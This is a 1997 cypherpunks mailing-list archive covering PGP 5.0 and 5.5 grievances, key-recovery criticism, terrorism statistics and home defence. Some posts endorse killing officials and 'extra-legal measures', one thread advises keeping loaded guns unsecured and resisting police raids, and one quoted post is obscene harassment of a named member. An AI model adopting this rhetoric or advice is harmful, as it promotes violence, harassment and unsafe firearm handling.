>> *everything* which calls PGP from a script or command line, and betas which
>> have a lame expired timebomb in them. Source is prefered for obvious reasons.
>
>http://www.pgpi.com/

I went and took a look at this. They've broken the PGP functionality into
several different psuedo-binaries which are just symlinks which point to the
same binary. Invoking just 'pgp' gives this:

>PGP is now invoked from different executables for different operations:
>
>pgpe    Encrypt (including Encrypt/Sign)
>pgps    Sign
>pgpv    Verify/Decrypt
>pgpk    Key management
>pgpo    PGP 2.6.2 command-line simulator (not yet implemented)
>
>See each application's respective man page or the general PGP documentation
>for more information.

Now this, of course, breaks all matter of things. Some of this may be wrong, 
so feel free to correct it:

Phil releases PGP. It rapidly becomes a standard for personal privacy and is
used all over the world. Various versions come about including several
international versions. 

Finally PGP 5.0 is released. It uses a completely new scheme, including DH
keys. The Windows version purposefully excludes RSA key generation, in
effect forcing people to generate DH keys. There is no UNIX version released.

Weeks or months later, after incompatabilities were introduced into the
system, UNIX versions begin to filter out. Instead of keeping command line
compatability so scripts and programs which call PGP still work, they decide
to break the functions up into several different invocations, all of which
point to the same binary anyway. The README-BIN file for the "beta 11" Linux
distribution says:

>Rest assured, we WILL be releasing a source Unix distribution.
>Unfortunately, licensing and export issues make this difficult; the
>beta process for Linux will be completed on a binary basis.  We
>understand the difficulty this causes, and will be working to find a
>solution in the future.

They also take the liberty of coding in a timebomb:

$ ./pgp
This beta evaluation version of PGP has expired.
$ pwd
<censored>/pgp50b11-linux-i386/apps/pgp

"lnx-b11" is the version currently handed out by http://www.pgpi.com, by the
way. The "PGP 5.0 beta for Linux Intel (US version)" selection on their
download page leads to a link to:
ftp://ftp.ifi.uio.no/pub/pgp/5.0/usa_only/linux/PGP50-lnx-b11.tgz

The current source distribution from that site is b8a. One of the README 
files from that reads:

>Welcome to the PGP beta test program!
>
>Before reporting any bugs, please check the pgp(1) man page to ensure
>that they are not already known.
>
>Bugs should be reported on the beta test web page at:
>
>  http://beta.pgp.com/

However when one goes to http://beta.pgp.com they're confronted with a legal
agreement. Of course the link to it from the front page won't work in Lynx 
2.7.1 because it uses something called an "https" link, so the user has to 
type in the URL manually as "http://www.pgp.com/beta/license.cgi". 

After reading this license and agreeing to it, the user is allowed to reach
the "BetaWeb" page. However the "public bug reports" link yields this:

>   Sorry, the bug report form is not available yet.
>   Please be patient as we get things ready.
>      
>         Please see the PGP BetaWeb for further information, or contact the
>         Beta Manager with specific questions.
>
>   For now, please use the "Back" button in your browser to return to the
>   previous page.

So maybe you can at least get whatever the current beta is and hope it
works, right? Wrong. "PGP Personal v5.5.1 BetaHome"'s "Beta Software &
ReadMe Download Button" wants a user name and password, but it's doubtful
they have a UNIX distribution in there anyway considering the rest of this
mess. 

Well, at least maybe the user can suggest a new "feature" for PGP 6
and that feature be "Release a source distribution which when installed
doesn't break anything which calls PGP," right? Wrong. You have to have a
username and password for that too.

Well, obviously they want you to register as a "Registered PGP Beta Tester"
to get this clearance. However "Beta Registration" yields:

>   Sorry, we are not currently accepting new beta testers.
>   We will be shortly, however, so please check back if you are interested.
>      
>         Please see the PGP BetaWeb for further information, or contact the
>Beta Manager with specific questions.

>   For now, please use the "Back" button in your browser to return to the
>   previous page.

And of course my 2.6.3i breaks on this "Hash: SHA1" stuff.

So correct me if I'm wrong but the way I see it is like this: A new version
of PGP was released. It was incompatable with previous versions. They
release a Windows version but don't release a version which works under
UNIX. Of course Windows users now start using the "latest and greatest,"
sending messages and keys all over the place which are completely
incompatable with the version of PGP everybody else is using. They claim to
be working on a UNIX version, granted, but that should have been released
at the same time as the Windows version and *AFTER* there was an
international version of PGP 5.0 available. Their UNIX version of PGP 5.0
also seems to be completely incompatable with anything which calls PGP from
a script or program. In addition their UNIX versions are purposefully
crippled so that they don't work after a certain time period, don't provide
an override for this that I can see, and they insist on releasing
binary-only distributions for Linux which prevents people from commenting
that out. They have no method to get new up to date versions, nor do they
have a method to report bugs like they say they do. Further the
"PGP50-lnx-b11-6126098-1.src.rpm" contains the *BINARY* distribution, *not*
the source. I've also been informed that PGP 5.0 encrypts to the CMR key
without even bothering to ask and there's no way to override that short of
hacking the key record.

What the hell are these people thinking? Did they get into bed with
Microsoft to try to get people to say "screw this" and go use Windows?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 31 Oct 1997 03:12:39 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
In-Reply-To: <199710300656.BAA11573@deathstar.jabberwock.org>
Message-ID: <SMglQ4i0vUo3veVkPaWfKw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Mark Rogaski <wendigo@ne-wendigo.jabberwock.org> writes:

> An entity claiming to be Tim May wrote:

> : 
> : (Personally, were I to be arrested and held on such false charges, I'd
> : consider it necessary to kill those who illegally held me. Preferably from
> : a safe distance, with a sniper rifle. But then I'm a right wing libertarian
> : whacko.)

> Right wing, left wing, friggin' wingless ... the above comment still 
> indicates a sociopath.

I agree.  One of you two is a sociopath.  Methinks you're pointing the
finger at the wrong person.

Reexamine your assumptions.  When you reach a conclusion as grievously 
in error as the one above, one (or more) of them must surely be wrong.

FingerPointingMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Oct 1997 01:14:27 +0800
To: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Subject: Re: Killing those who need killing (fwd)
In-Reply-To: <199710300656.BAA11573@deathstar.jabberwock.org>
Message-ID: <v03102800b07e6492650f@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>An entity claiming to be wendigo wrote:
>:An entity claiming to be Tim May wrote:
>
>:
>: (Personally, were I to be arrested and held on such false charges, I'd
>: consider it necessary to kill those who illegally held me. Preferably from
>: a safe distance, with a sniper rifle. But then I'm a right wing libertarian
>: whacko.)
>
>Right wing, left wing, friggin' wingless ... the above comment still
>indicates a sociopath.

Perhaps, but is being a sociopath that bad?  When those who administer the
justice system in society are out-of-control, or have consciously decided
to ignore the constitutional protections they are charged with upholding
then strong, extra-legal, measures may be called for in order to right the
apple cart.

"Those who prefer security over liberty deserve neither."

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 30 Oct 1997 22:56:13 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710301318.HAA17701@einstein.ssz.com>
Message-ID: <199710301451.JAA23256@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710301318.HAA17701@einstein.ssz.com>, on 10/30/97 
   at 07:18 AM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Wed, 29 Oct 97 22:46:45 -0600
>> Subject: Terrorism is a NON-THREAT

>> I wish for once one of the spineless members of the press would ask:
>> 
>> "How many people have died from Terrorism in the last 10yrs?"
>> 
>> Let's be generious and say 10,000 world wide (more like 2,000 but lets not
>> quibble over numbers).

>Bill, more than 2,000 people have dies from planes being blown up by
>terrorist in the last 10 years alone.

>Old Prince Ferdinand, you know the bloke whose death started WWI
>allegedly, had an attempt on his life the morning of his death via bomb.
>He shrugged it off and got shot.

>Stalin had millions killed for political reasons.

>The Isrealis have killed tens of thousands in their expanionisitic,
>non-survivalist motivated actions.

>The US backed Central American death squads have killed hundreds of
>thousands if not millions.

>People kill for religion, politics, insanity, and fun.

>Terrorism has a long history in human culture.

>Yours is a unreasoned view.


Well THANK YOU Jim for joining forces with the Government NewSpeakers in
bastardising the language. Military and Police actions by governments is
NOT Terrorism!! Everything bad that happens is NOT Terrorism!! Just
because it is politically expediant to call somthing Terrorism does not
make it so! If you have a point then do so and let it stand on it's
merrits rather than trying to win brownie points by stealing emotional
value from an established lable. This is a shallow debating technique of a
weak mind.

Now back to the featured program:

Exactly how many have died from Terrorist acts?? I contend that it is
below 10,000 in the past ten years and more than likely closer to 2,000.
Even at 10,000 we are only looking at most 50-100 Americans a year!!

The whole point of my orriginal message that you seem unable to grasp ("no
suprise") is that 50-100 deaths/year does not justify turning this country
into a police state!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFieS49Co1n+aLhhAQEwmgP9HA1/iTnarX3NC9pjlWcCrvzsYxH/Cy5Z
cRd3N/H0uFDcgIeInYZR4a1mjEDkjqRkHLUD6vBHmYm0gaxTQQMzxrroKlxWPTPD
PypVaATowFBPAh9YAjH+dwFJax/pzyN1BMlXb5iqB1t6+p0K69+IgXvXEu0R68hL
Ce6E9fNftf8=
=pfxA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 00:50:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102808b07aa2f2b5cb@[207.167.93.63]>
Message-ID: <v03102806b07e577ec20a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:43 AM -0700 10/30/97, Igor Chudov @ home wrote:
>Tim May wrote:
>>
>> And so it goes. This is why I have 3000 rounds of .223 stashed away, and
>> several loaded weapons readily available. And an early warning system in
>> case the night ninjas decide my house needs to be raided before dawn.
>
>What kind of early warning system is it, technically?

Well, now that wouldn't be very smart of me, would it, to tell the world
where my defensive measures are? (I'm willing to let would-be ninjas know
that I won't take a no-knock raid without fighting back, as this may deter
them, in classic game-theoretic terms, but not to tell them precise details
of my defenses.)

Check the ads in the gun and survival mags for ideas. Seismic (footfall,
vehicle) detectors are affordable, but hard to monitor on a 24/7 basis.
Simple photolectric vehicle detectors are useful. In my case, I have a
private driveway about 100 meters long as the only access to my house. Not
to hard to rig up methods to warn of vehicles approaching...harder to warn
of men approaching on foot. And even harder if they come up through the
brush and chapparal on the other 3 sides.

The main thing is to provide a minute or so of warning of vehicles
approaching in the middle of the night.

>Another question about home defense: it must be really inconvenient
>to perform all these self-defense actions naked, which would obviously
>happen during these night raids and robberies.
>
>Is that a problem, and if yes, what are the solutions?

The usual advice is to secure one's bedroom for immediate invasion. (My
bedroom is on the second floor, too.) This helps with burglars as well as
with ninjas. For example, lock the bedroom door. This will slow down
attackers, who first have to gain access to the main house, then have to
get in the bedroom. The noise from the first step should provide valuable
seconds of awakening, grabbing a gun, etc. I don't think a locked bedroom
door will stop an entry team from getting inside in a matter of seconds,
but every second helps.

(Experts also advise that homeowners facing such assaults "stay put,"
unless, of course, they have to defend other family members in other rooms.)

And ignore the advice from the Consumer Protection Safety Commission, etc.,
to lock all guns up in safes or vaults or closets. A gun locked up in a gun
safe can't be gotten to when it's really needed, can it?

Oh, and loading a gun takes far too long, especially in the dark and in a
crisis situation. (And keeping ammo out of the gun is only a minor speed
bump to inquistive children, so it's not even much protection there.)

"What about the children?" For children too young to understand orders,
come up with an access solution that gives you fast access but keeps little
Suzie from finding the gun. For children old enough to understand orders,
and what guns are, tell them exactly what a gun does, show them, educate
them, and warn them to NEVER touch the gun or show it to their friends
(this is exactly where many accidental shootings happening, with Johnny
showing his friends Dad's gun).

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 30 Oct 1997 21:51:25 +0800
To: cypherpunks@toad.com
Subject: Cpunk Hots: E-Cash
Message-ID: <1.5.4.32.19971030134345.00b58944@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Village Voice reviews "Close to the Machine: Technophilia
and Its Discontents," by Ellen Ullman, City Lights, 189 pp.
$12.95 paper.

Ullman, a Silicon Valley programmer, "describes having
an affair with a young cypherpunk: 'we sat with our legs
extended across the sofa, not quite touching, and we were
going to talk about electronic cash.' "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Oct 1997 01:17:28 +0800
To: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710301451.JAA23256@users.invweb.net>
Message-ID: <v03102801b07e6de595ca@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



> Yup, I don't disagree with that. But, I have trouble answering the
> obvious question, 'well, how many lives _does_ it take before something
> is done?'. Is there any way to quantify this kind of thing?
>
> We hear on TV etc people saying "If this draconian measure saves the
> life of one innocent child its worth the loss of my right to walk in
> the park, or whatever". This is clearly shit, but can people suggest a
> sensible measure of when new legistlation is justified?
>

No amount of deaths are adequate cause for suspending the constitutional
rights of our citizens.  If the Feds can't adequately protect our citizens
from criminal activities w/o trampling on our rights then its time for us
to reorganize into different geo-political structures which may.  Once
solutions offered from D.C. include suspension of our civil rights its time
to put allt he options on the table, including considering the abandonment
of the entire compact.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 01:23:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199710301451.JAA23256@users.invweb.net>
Message-ID: <v03102808b07e5e475a19@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:11 AM -0700 10/30/97, Tim Griffiths wrote:

> We hear on TV etc people saying "If this draconian measure saves the
> life of one innocent child its worth the loss of my right to walk in
> the park, or whatever". This is clearly shit, but can people suggest a
> sensible measure of when new legistlation is justified?

Is this a trick question, or sumpin'?

If not, then the answer is "the Constitution."

(I see that T.G.Griffiths@exeter.ac.uk is not an American. I apologize for
my U.S.-centric response. Consult your local Charter or whatever to see if
similar rights are spelled out. I suspect most adhocracies do not have
rights clearly spelled out, modulo the irony that several people's
republics have had nominally more rights-ensuring constitutions than the
U.S. has had.)

The longer version being that the Constitution and especially the Bill of
Rights clearly enumerates rights held by the people, and there is no
mention that such basic rights are to be stripped away because the "life of
one innocent child" can be saved. Examples of cases where restricting
religions, books, guns, 4th and 5th and nth Amendment rights would save the
lives of some children are obvious to all. And yet such restrictions remain
unconstitutional. Sure, there are _some_ limits. A church, for example,
cannot practice ritual bloodletting, on children or on adults.  Nor can a
church hand out drugs (the Native American Church and peyote case resolved
this). And so on.

(And many of us disagree with some or all of these limitations.)

In the "right to walk in the park" issue cited above, this gets into
distracting issues about whether the park is open at all hours, the rules
established by whomever built the park, etc.

Curfews are a cleaner example. And courts have generally held curfews
unconstitutional, when they've been challenged.

Travel permits are also unconstitutional in the U.S. People may travel
wherever they wish, associate with whomever they wish, etc. (A very few
exceptions, such as felons and child molestors.)

When in doubt about trading off rights for security, consult the Constitution.

(Yes, I'm aware that it's falling into disrepute and tatters. But it beats
most alternatives.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 31 Oct 1997 01:31:50 +0800
To: tcmay@got.net (Tim May)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102808b07aa2f2b5cb@[207.167.93.63]>
Message-ID: <v0300780fb07e71059b67@[207.94.249.162]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:43 AM -0800 10/30/97, Igor Chudov @ home wrote:
>Another question about home defense: it must be really inconvenient
>to perform all these self-defense actions naked, which would obviously
>happen during these night raids and robberies.
>
>Is that a problem, and if yes, what are the solutions?

Wear underwear to bed.  Then you won't be naked when the alarm goes off.
(At night it will help if you are naturally dark complexioned.)


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 31 Oct 1997 00:49:50 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: [URGENT] Secure checksums
In-Reply-To: <4bce0368c6dca6472723bacbbd57dee7@anon.efga.org>
Message-ID: <Pine.A41.3.95.971030092641.102662B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 29 Oct 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Warning: if you fuck Timothy C[unt] May in the ass, a 
> rabid tapeworm might bite your penis.
> 
> \0/   \0/\    \ /    /  \0/  \0/   \0/\    \ /    /\0/   \0/ Timothy C[unt] May
>  |    /  /)    |    (\   |    |    /  /)    |    (\  \    |
> / \__/\__/0\__/0\__/0\__/ \__/ \__/\__/0\__/0\__/0\__/\__/ \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 01:43:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <7433f6e11aa46cf7b903a8251c3e35b5@squirrel>
Message-ID: <v03102809b07e63edadc1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:50 AM -0700 10/30/97, Secret Squirrel wrote:

>The really good way to protect your medical privacy is to self insure.
>Most people are happy with policies that tap out at $1 million.  If
>you would be happy with such a policy, then all you need is $1 million
>to protect your privacy.  It is likely that this $1 million will not
>ever be consumed by health care costs.  (Probably much less likely
>than that a policy holder will hit that limit.  People tend to spend
>their own money more responsibly than somebody else's.)

I used to think this was so, too. But there's a certain kind of market
failure at work. (Actually, it's not a market failure at all....it's a
manifestation of the market. Read on.)

It turns out that if I have to go to the local hospital, the daily rate for
a hotel room will be something like $2000 a day. Exclusive of whatever
treatments I'm receiving, of course.

Turns out that Blue Cross and Blue Shield have negotiated, through enormous
buying power, daily rates of about $700 a day. (These numbers come from my
memory of a "60 Minutes" report a few years ago. Details and current
figures may vary.)

Listed prices are the "sucker rates," kind of like the posted prices for
out-of-towners, with locals getting a discount. And these pricing
differences apply to the whole range of procedures. For example, an
insurance company might have negotiated--over many years of intense
negotiations--a fee of $100,000 for a liver transplant, but a "cash-paying
customer" (a victim, a mark, a sucker) would pay the list price, e.g.,
$300,000.

Could I negotiate a lower room rate, and lower fees for a spectrum of
possibly needed treatments? Probably. I haven't had to try, fortunately.
(Nor am I knowledgeable about procedures. Nor am I patient negotiator, no
pun intended.)

I'm not calling for market intervention, price regulation, government
intervention, etc.

Just noting that cash is not always king. Especially to any medium-sized or
larger hospital, where filling out the forms correctly is more important
than getting paid in cash. (My dentist's receptionist is befuddled by my
paying in cash. She clearly prefers to just enter the number of an
insurance company.)

Walking in off the street, or arriving in an ambulance, without an
insurance policy number is becoming a guarantee that one will pay the
absolute maximum rate, the "sucker rate." If one is admitted at all, as
many hospitals turn away anyone without a means of proving they can
pay....and promises are not enough.  And if one proves to the hospital that
one has large resources, I fear for the consequences ("wallet extractions"
being one  risk).

I have so far elected to self-insure, i.e., to just pay any medical bills I
might have out of pocket. However, given this "sucker rate" and the
increasing unwillingness of hospitals to take patients not in health care
or insurance programs, I may have little choice but to sign up.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Thu, 30 Oct 1997 23:57:57 +0800
To: tcmay@got.net (Tim May)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102808b07aa2f2b5cb@[207.167.93.63]>
Message-ID: <199710301543.PAA19111@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> 
> And so it goes. This is why I have 3000 rounds of .223 stashed away, and
> several loaded weapons readily available. And an early warning system in
> case the night ninjas decide my house needs to be raided before dawn.

What kind of early warning system is it, technically?

Another question about home defense: it must be really inconvenient
to perform all these self-defense actions naked, which would obviously
happen during these night raids and robberies. 

Is that a problem, and if yes, what are the solutions?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 30 Oct 1997 19:27:43 +0800
To: cypherpunks@cyberpass.net
Subject: pgp5.5 = clipper
Message-ID: <199710300952.JAA01054@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




There are some remarkable similarities between pgp5.5 and the hugely
unpopular original clipper chip design.  Both encrypt the
communication key so it can be snooped by third parties thus creating
a backdoor.

I suspect that part of the reason there has been less outcry over
pgp5.5 than for clipper is that people have a high regard for PGP Inc,
and allow this to lull their fears -- "if PGP Inc have done it, it
can't be evil."  This is really insidious, and it is reprehensible for
PGP Inc to use their reputation capital to give clipper like systems a
positive spin.

pgp5.5 is basically a software implementation of clipper:

In PGP the backdoor is the second crypto recipient -- the message key
encrypted to the CMRK (Corporate Message Recovery Key) as requested by
the ARR (Additional Recipient Request); in clipper the backdoor is the
LEAF (Law Enforcement Access Field).

Both systems make attempts to enforce the presense of this backdoor
field: PGP Inc's policy enforcer can be configured to bounce mail not
encrypted to the corporate backdoor key; in Clipper it is the checksum
included in the LEAF which allows the receiving chip to reject LEAFs
which have been tampered with.

Both systems are "optional" -- you don't have to use clipper chips,
they will be "voluntary" (or so the politicians claim), and
governments aren't currently using the backdoor feature of pgp5.5, and
PGP Inc argue this won't happen (we'll see how this works out).

Both systems can be bypassed in very analogous ways: 

They can both be bypassed by super encrypting traffic.

With pgp5.5 the sender can send garbage in the CMRK encrypted field;
with clipper Matt Blaze found you could brute force the checksum and
send garbage in the LEAF field.

Both systems can be improved to make them harder to bypass, something
one suspects may happen if too many people routinely bypass them, and
law enforcement views this as a problem (which they surely will if
their snooping attempts are foiled -- don't forget Freeh is already on
record calling for mandatory key escrow, and outlawing of non-escrowed
crypto).

Clipper can be made harder to bypass by increasing the size of the
checksum.

pgp5.5 can be made harder to bypass by using binding cryptography
(allows untrusted agents to be deputised as policemen in ensuring the
same key is included inside the CMRK field as in the recipients PKE
field).

It is easy for the government snoop to detect cheating with either
system -- they attempt to decrypt the traffic, and find the LEAF/CMRK
field is tampered with, or find the contained message is super
encrypted.  

One suspects that an additional 5 year sentence will be given to
people who are detected tampering with snoop fields.  (This is not far
fetched I don't think -- already we have heard proposals for 5 year
additional sentencing for "use of encryption in a crime".  If
non-escrowed encryption is outlawed, surely this is the logical next
step on the part of Freeh, and cohorts).


PGP Inc cries: "oh but we have to meet corporate user requirements".
For corporate disaster recovery of stored data?  For corporate message
snooping?  For either requirement many of us have documented far less
dangerous techniques to enable corporate message snooping, and storage
recovery.  Techniques which aren't likely to be adopted by governments
as their snooping architecture.

PGP should fix this quickly before the reputational damage is
increased by more government statements about the usefulness of
pgp5.5. and CMR.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 30 Oct 1997 19:32:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is mixmaster dead?
In-Reply-To: <Pine.LNX.3.96.971030072414.7999D-100000@bureau42.ml.org>
Message-ID: <slrn65gmkp.kt.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* David E. Smith wrote:
>On the contrary. http://www.thur.de/ulf/mix has the latest Mixmaster stuff.

www.thur.de is dead till Monday due to hard disk crash. Use
http://www.fitug.de/ulf/ instead.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 31 Oct 1997 02:20:19 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102806b07e577ec20a@[207.167.93.63]>
Message-ID: <v0310280ab07e6e0e0f2b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(This will have to be my last post, for now at least, on the issues about
home defense. These are issues covered frequently on Usenet. DejaNews
should turn up thousands of articles.)

At 10:44 AM -0700 10/30/97, Igor Chudov @ home wrote:

>How about a big dog (living in a doghouse or inside the home) that is
>properly trained? I think that it is the best and most sensitive early
>warning system.

Many people do this. Note that most SWAT teams have silenced weapons to
take out guard dogs, however.  From a distance, before the dog even reacts.

>How about reinforced metal sheet doors? THose are not supposed to be too
>expensive and can be made to look pretty.

Certainly a possibility.

>> (Experts also advise that homeowners facing such assaults "stay put,"
>> unless, of course, they have to defend other family members in other rooms.)
>
>Are there any legal ramifications (like liability in case of death of
>the intruders) if the homeowner gets out of the locked bedroom and shoots
>the attackers?

This is well-covered, too. Most states will not prosecute someone for
shooting an intruder who is INSIDE THE HOUSE. The usual language, which
lawyers know, is about "reasonable fear for one's life." It's easy to
convince a jury that one was in fear for one's life when confronting an
intruder inside one's home. Less easy outside. And so on.

Civil liability is another matter entirely. Often the surviving perp or the
dead perp's relatives will sue for whatever the homeowner has, claiming
some degree of overreaction, blah blah blah. And this being Amerika, often
juries will award huge sums.

>> And ignore the advice from the Consumer Protection Safety Commission, etc.,
>> to lock all guns up in safes or vaults or closets. A gun locked up in a gun
>> safe can't be gotten to when it's really needed, can it?
>
>Depends on a safe, really.
>
>My understanding of all this, which is pretty limited, is that safes are
>a good idea for storing things when the homeowner is not home or does not
>immediately control access to valuable things.

Obviously. But I wasn't talking about this. Jeesh.

>> Suzie from finding the gun. For children old enough to understand orders,
>> and what guns are, tell them exactly what a gun does, show them, educate
>> them, and warn them to NEVER touch the gun or show it to their friends
>
>I would never follow any fucking orders from my parents.

Then think of this as evolution in action.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 30 Oct 1997 19:27:36 +0800
To: cypherpunks@cyberpass.net
Subject: PGP Inc PR cover-up
Message-ID: <199710301011.KAA01067@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I wonder about the sudden lull in the pgp5.5 CMR argument: have PGP
Inc enforced a blanket ban on participation in list discussion of the
topic by their employees?

Even our anonymous PGP employees posting via remailers on cypherpunks
seem to have stopped.

PGP Inc seemed to me to be heavily losing the argument where ever
employees have spoken on the topic.

Unfortunately this doesn't seem to be translating into rejection of
the CMR feature, nor of adoption of less dangerous alternatives such
as forward secret transport level security, shorter lived encryption
keys, and separate storage keys.

Perhaps it will take an official government snoop endorsement of
pgp5.5 before the danger is acknowledged; by then the damage will have
been done.


Meanwhile over on ietf-open-pgp:

The ietf-open-pgp forum for discussion of development of the now IETF
controlled OpenPGP standard seems to have undergone a coo.  Cypherpunk
Lutz Donnerhacke had pre-empted Rodney Thayer and PGP's Jon Callas
draft which had been slow coming by producing a competing draft before
